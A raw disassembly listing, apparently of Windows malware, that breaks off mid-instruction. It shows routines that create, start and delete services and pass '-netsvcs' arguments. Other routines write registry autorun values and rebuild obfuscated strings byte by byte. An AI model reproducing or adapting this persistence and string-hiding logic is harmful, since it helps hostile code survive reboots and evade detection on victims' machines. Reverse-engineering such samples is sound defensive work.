0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx call near ptr 2930000h nop mov edx, [esp+80h+var_70] push edx nop call near ptr 28F0000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE push eax push 80000001h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2930000h mov edx, [esp+80h+var_70] push edx nop call near ptr 28F0000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000001h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2930000h mov edx, [esp+80h+var_70] push edx nop call near ptr 28F0000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017EE push eax push 80000002h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2930000h mov edx, [esp+80h+var_70] push edx nop call near ptr 28F0000h lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_6C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 lea ecx, [esp+80h+var_54] mov [esp+80h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 8 sub_40E2F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E870 proc near ; CODE XREF: sub_401451j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40E870 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_6C] call sub_40142E lea ecx, [esp+80h+var_3C] mov [esp+80h+var_4], 0 call sub_40142E lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_40142E push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019C4 add esp, 0CCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 3 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019C4 add esp, 0DCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 4 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019C4 add esp, 0BCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 5 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE mov esi, dword_51175C push eax push 80000002h call esi mov edi, [esp+80h+arg_0] mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] mov ebp, dword_51176C push eax push ecx call ebp mov edx, [esp+80h+var_70] mov ebx, dword_511740 push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE push eax push 80000002h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000002h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000001h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017EE push eax push 80000001h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 mov [esp+80h+var_4], 0FFFFFFFFh lea ecx, [esp+80h+var_6C] call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 4 sub_40E870 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ED00 proc near ; CODE XREF: sub_4014A1j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40ED00 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebx push esi mov esi, ecx lea ecx, [esp+5Ch+var_24] call sub_40142E push 104h push 104h lea ecx, [esp+64h+var_24] mov [esp+64h+var_4], 0 call sub_401C71 push eax nop call near ptr 27F0000h lea ecx, [esp+5Ch+var_3C] call sub_40142E mov ecx, [esp+5Ch+arg_4] mov byte ptr [esp+5Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+60h+var_24] call sub_4017EE push eax lea eax, [esp+64h+var_3C] push offset dword_444684 push eax call sub_40102D add esp, 10h lea ecx, [esp+5Ch+var_54] call sub_40142E lea ecx, [esp+5Ch+var_54] push offset aNetsvcs ; "-netsvcs" push ecx mov byte ptr [esp+64h+var_4], 2 call sub_40102D mov ecx, [esp+64h+arg_0] add esp, 8 lea edx, [esp+5Ch+var_54] lea eax, [esp+5Ch+var_3C] push edx push eax push ecx mov ecx, esi call sub_402171 lea ecx, [esp+5Ch+var_54] mov bl, al mov byte ptr [esp+5Ch+var_4], 1 call sub_401226 lea ecx, [esp+5Ch+var_3C] mov byte ptr [esp+5Ch+var_4], 0 call sub_401226 lea ecx, [esp+5Ch+var_24] mov [esp+5Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+5Ch+var_C] mov al, bl pop esi pop ebx mov large fs:0, ecx add esp, 54h retn 8 sub_40ED00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EE40 proc near ; CODE XREF: sub_402171j var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40EE40 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push ebp push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" mov [esp+5Ch+var_44], ecx push 0 nop call near ptr 28F07EAh mov edi, eax test edi, edi jnz short loc_40EE7F xor al, al jmp loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EE7F: ; CODE XREF: sub_40EE40+36j lea ecx, [esp+54h+var_24] call sub_40142E mov ecx, [esp+54h+arg_8] mov [esp+54h+var_4], 0 call sub_4017EE mov ebx, [esp+54h+arg_4] push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+5Ch+var_24] push offset aSS_4 ; "\"%s\" %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+54h+var_24] push 0 push 0 push 0 push 0 push 0 call sub_4017EE push eax push 1 push 2 push 20h push 0F01FFh mov ecx, offset dword_449844 call sub_4017EE mov ebp, [esp+7Ch+arg_0] push eax mov ecx, ebp call sub_4017EE push eax push edi nop call near ptr 28F0BCBh mov esi, eax xor ecx, ecx cmp esi, ecx jnz short loc_40EF65 nop call near ptr 27C0828h cmp eax, 431h jnz short loc_40EF49 mov ecx, [esp+54h+var_44] push ebp call sub_401951 mov esi, dword_511754 push 0 call esi push edi call esi mov ecx, [esp+54h+var_44] push ebx push ebp call sub_4014A1 lea ecx, [esp+54h+var_24] mov bl, al mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EF49: ; CODE XREF: sub_40EE40+CBj push edi nop call near ptr 2900000h lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp short loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EF65: ; CODE XREF: sub_40EE40+BEj lea edx, [esp+54h+var_38] mov [esp+54h+var_34], ecx mov dword ptr [esp+54h+var_30], ecx push edx mov eax, 1 or ebx, 0FFFFFFFFh lea ecx, [esp+58h+var_40] push 2 push esi mov [esp+60h+var_3C], eax mov [esp+60h+var_40], eax mov [esp+60h+var_38], ebx mov [esp+60h+var_2C], eax mov [esp+60h+var_28], ecx call near ptr 2900240h nop test eax, eax push esi mov esi, dword_511754 jnz short loc_40EFBC call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 xor al, al jmp short loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EFBC: ; CODE XREF: sub_40EE40+164j call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 mov al, 1 loc_40EFD0: ; CODE XREF: sub_40EE40+3Aj ; sub_40EE40+104j ... mov ecx, [esp+54h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 44h retn 0Ch sub_40EE40 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F060 proc near ; CODE XREF: sub_401951j var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 28F07EAh mov edi, eax test edi, edi jnz short loc_40F087 pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40F087: ; CODE XREF: sub_40F060+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017EE push eax push edi nop call near ptr 2890ACFh mov esi, eax test esi, esi jnz short loc_40F0B4 push edi nop call near ptr 2900000h pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40F0B4: ; CODE XREF: sub_40F060+41j lea eax, [esp+24h+var_1C] push eax push 1 push esi call near ptr 28F042Ch nop push esi call near ptr 28F06ECh nop push esi mov esi, dword_511754 call esi push edi call esi pop edi mov al, 1 pop esi add esp, 1Ch retn 4 sub_40F060 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F100 proc near ; CODE XREF: sub_401FD2j arg_0 = dword ptr 4 push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call near ptr 28F07EAh nop mov esi, eax test esi, esi jnz short loc_40F11F xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F11F: ; CODE XREF: sub_40F100+17j mov ecx, [esp+4+arg_0] push 0F01FFh call sub_4017EE push eax push esi nop call near ptr 2890ACFh test eax, eax jnz short loc_40F146 push esi call near ptr 2900000h nop xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F146: ; CODE XREF: sub_40F100+37j push edi mov edi, dword_511754 push eax call edi push esi call edi pop edi mov al, 1 pop esi retn 4 sub_40F100 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F180 proc near ; CODE XREF: sub_401FFAj arg_0 = dword ptr 4 push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 28F07EAh mov edi, eax test edi, edi jnz short loc_40F1A1 pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F1A1: ; CODE XREF: sub_40F180+18j mov ecx, [esp+8+arg_0] push 0F01FFh call sub_4017EE push eax push edi nop call near ptr 2890ACFh mov esi, eax test esi, esi jnz short loc_40F1CB push edi call near ptr 2900000h nop pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F1CB: ; CODE XREF: sub_40F180+3Bj push 0 push 0 push esi call near ptr 28E0C9Dh nop push esi mov esi, dword_511754 call esi push edi call esi pop edi mov al, 1 pop esi retn 4 sub_40F180 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40F210: ; CODE XREF: ___:loc_4014ABj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43A348 push eax mov large fs:0, esp sub esp, 60h push ebx push esi mov esi, [esp+78h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+19h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F30A push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA push 1 push offset asc_444600 ; " " lea ecx, [esp+14h] push 2 xor ebx, ebx push ecx mov ecx, esi mov [esp+84h], ebx call sub_4011EA lea edx, [esp+0Ch] lea eax, [esp+24h] push edx push eax mov ecx, edi mov byte ptr [esp+7Ch], 1 call sub_401730 test al, al jz short loc_40F2D6 lea ecx, [esp+0Ch] call sub_4017EE push eax lea ecx, [esp+28h] call sub_4017EE push eax push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 1Ch loc_40F2D6: ; CODE XREF: ___:0040F297j lea ecx, [esp+0Ch] mov [esp+74h], bl call sub_401226 lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F30A: ; CODE XREF: ___:0040F246j lea ecx, [edi+47h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F3A9 push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+24h] mov dword ptr [esp+74h], 2 push ecx mov ecx, edi call sub_401451 test al, al jz short loc_40F382 lea ecx, [esp+24h] call sub_4017EE push eax push offset aRegDelS_ ; "reg(del) \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_40F382: ; CODE XREF: ___:0040F34Dj lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F3A9: ; CODE XREF: ___:0040F31Cj lea ecx, [edi+75h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F4BF push 1 push offset asc_444600 ; " " lea ecx, [esp+44h] push 1 push ecx mov ecx, esi call sub_4011EA push 1 push offset asc_444600 ; " " lea edx, [esp+14h] push 2 push edx mov ecx, esi mov dword ptr [esp+84h], 3 call sub_4011EA push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] mov bl, 4 push 3 push eax mov ecx, esi mov [esp+84h], bl call sub_4011EA lea ecx, [esp+24h] lea edx, [esp+0Ch] push ecx lea eax, [esp+40h] push edx push eax mov ecx, edi mov byte ptr [esp+80h], 5 call sub_402171 test al, al jz short loc_40F47D lea ecx, [esp+24h] call sub_4017EE push eax lea ecx, [esp+10h] call sub_4017EE push eax lea ecx, [esp+44h] call sub_4017EE push eax push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"." lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 20h loc_40F47D: ; CODE XREF: ___:0040F434j lea ecx, [esp+24h] mov [esp+74h], bl call sub_401226 lea ecx, [esp+0Ch] mov byte ptr [esp+74h], 3 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F4BF: ; CODE XREF: ___:0040F3BBj lea ecx, [edi+0A3h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F561 push 1 push offset asc_444600 ; " " lea eax, [esp+5Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+54h] mov dword ptr [esp+74h], 6 push ecx mov ecx, edi call sub_401951 test al, al jz short loc_40F53A lea ecx, [esp+54h] call sub_4017EE push eax push offset aServDelS_ ; "serv(del) \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_40F53A: ; CODE XREF: ___:0040F505j lea ecx, [esp+54h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F561: ; CODE XREF: ___:0040F4D4j mov ecx, [esp+6Ch] pop edi pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- db 9 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F660 proc near ; CODE XREF: sub_401D16j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx nop call near ptr 77C2C407h mov edx, eax mov eax, [esp+0Ch+arg_0] mov edi, esi or ecx, 0FFFFFFFFh mov [eax], edx xor eax, eax add esp, 4 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn sub_40F660 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F6D0 proc near ; CODE XREF: sub_40169Fj var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40F6D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi mov esi, ecx push edi mov [esp+3Ch+var_28], esi call sub_401E88 lea edi, [esi+11h] mov [esp+3Ch+var_4], 0 mov ecx, edi call sub_4011B3 lea ebp, [esi+28h] mov ecx, ebp call sub_40142E lea ecx, [esi+3Dh] mov byte ptr [esp+3Ch+var_4], 1 call sub_40142E lea ecx, [esi+56h] mov byte ptr [esp+3Ch+var_4], 2 call sub_401753 lea ecx, [esi+84h] mov byte ptr [esp+3Ch+var_4], 3 call sub_401753 lea ecx, [esi+0B2h] mov byte ptr [esp+3Ch+var_4], 4 call sub_401753 lea ecx, [esi+0E0h] mov byte ptr [esp+3Ch+var_4], 5 call sub_401753 lea ecx, [esi+10Eh] mov byte ptr [esp+3Ch+var_4], 6 call sub_401753 lea ecx, [esi+13Ch] mov byte ptr [esp+3Ch+var_4], 7 call sub_401753 lea ecx, [esi+16Ah] mov byte ptr [esp+3Ch+var_4], 8 call sub_401753 lea ecx, [esi+198h] mov byte ptr [esp+3Ch+var_4], 9 call sub_401753 lea ecx, [esi+1C6h] mov byte ptr [esp+3Ch+var_4], 0Ah call sub_401753 lea ecx, [esi+1F4h] mov byte ptr [esp+3Ch+var_4], 0Bh call sub_401753 lea ecx, [esi+222h] mov byte ptr [esp+3Ch+var_4], 0Ch call sub_401753 lea ecx, [esi+250h] mov byte ptr [esp+3Ch+var_4], 0Dh call sub_401753 lea ecx, [esi+27Eh] mov byte ptr [esp+3Ch+var_4], 0Eh call sub_401753 lea ecx, [esi+2ACh] mov byte ptr [esp+3Ch+var_4], 0Fh call sub_401753 lea eax, [esp+3Ch+var_29] lea ecx, [esi+2DAh] push eax mov byte ptr [esp+40h+var_4], 10h call sub_40172B mov dword ptr [edi], offset off_43F034 mov bl, 11h xor edi, edi push offset byte_448F40 mov ecx, ebp mov byte ptr [esp+40h+var_4], bl mov dword ptr [esi], offset off_43F028 mov byte ptr [esi+17h], 1 mov byte ptr [esi+15h], 0 mov byte ptr [esi+16h], 0 mov dword ptr [esi+18h], 0FFFFFFFFh mov [esi+1Ch], edi mov [esi+20h], edi call sub_4015E1 nop call near ptr 27E0BCDh push edi push 21h push 28h push 23h lea ecx, [esp+4Ch+var_24] push 2Ah push ecx mov [esi+24h], eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 12h call sub_4017EE push eax push offset dword_4490CC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Dh push 23h push 2Eh push 29h lea edx, [esp+54h+var_24] push 28h push edx call sub_4019C4 add esp, 20h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 13h call sub_4017EE push eax push offset dword_4490D0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 28h push 23h push 29h lea eax, [esp+4Ch+var_24] push 24h push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 14h call sub_4017EE push eax push offset dword_4490D4 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 21h push 2Dh push 27h push 30h push 23h push 2Ch lea ecx, [esp+58h+var_24] push 2Ah push ecx call sub_4019C4 add esp, 24h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 15h call sub_4017EE push eax push offset dword_4490D8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Dh push 29h push 22h push 2Ch push 1Fh push 2Dh lea edx, [esp+5Ch+var_24] push 2Fh push edx call sub_4019C4 add esp, 28h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 16h call sub_4017EE push eax push offset dword_4490DC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 47h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 17h call sub_4017EE push eax push offset dword_4490E0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 44h lea ecx, [esp+48h+var_24] push 47h push ecx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 18h call sub_4017EE push eax push offset dword_4490E4 call sub_401D16 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 21h push 28h push 29h lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 19h call sub_4017EE push eax push offset dword_4490E8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Dh push 2Dh push 1Bh lea eax, [esp+4Ch+var_24] push 2Ah push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ah call sub_4017EE push eax push offset dword_4490EC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 28h push ecx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Bh call sub_4017EE push eax push offset dword_4490F0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Ch push 1Fh push 2Dh lea edx, [esp+4Ch+var_24] push 2Fh push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ch call sub_4017EE push eax push offset dword_4490F4 call sub_401D16 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 47h push 49h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Dh call sub_4017EE push eax push offset dword_4490F8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 25h push ecx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Eh call sub_4017EE push eax push offset dword_4490FC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Ch push 1Bh lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Fh call sub_4017EE push eax push offset dword_449100 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Eh push 29h lea eax, [esp+4Ch+var_24] push 27h push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 20h call sub_4017EE push eax push offset dword_449104 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 45h push 44h lea ecx, [esp+48h+var_24] push 44h push ecx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 21h call sub_4017EE push eax push offset dword_449108 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 49h push 44h lea edx, [esp+48h+var_24] push 44h push edx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 22h call sub_4017EE push eax push offset dword_44910C call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 23h push 2Fh lea eax, [esp+4Ch+var_24] push 2Bh push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte 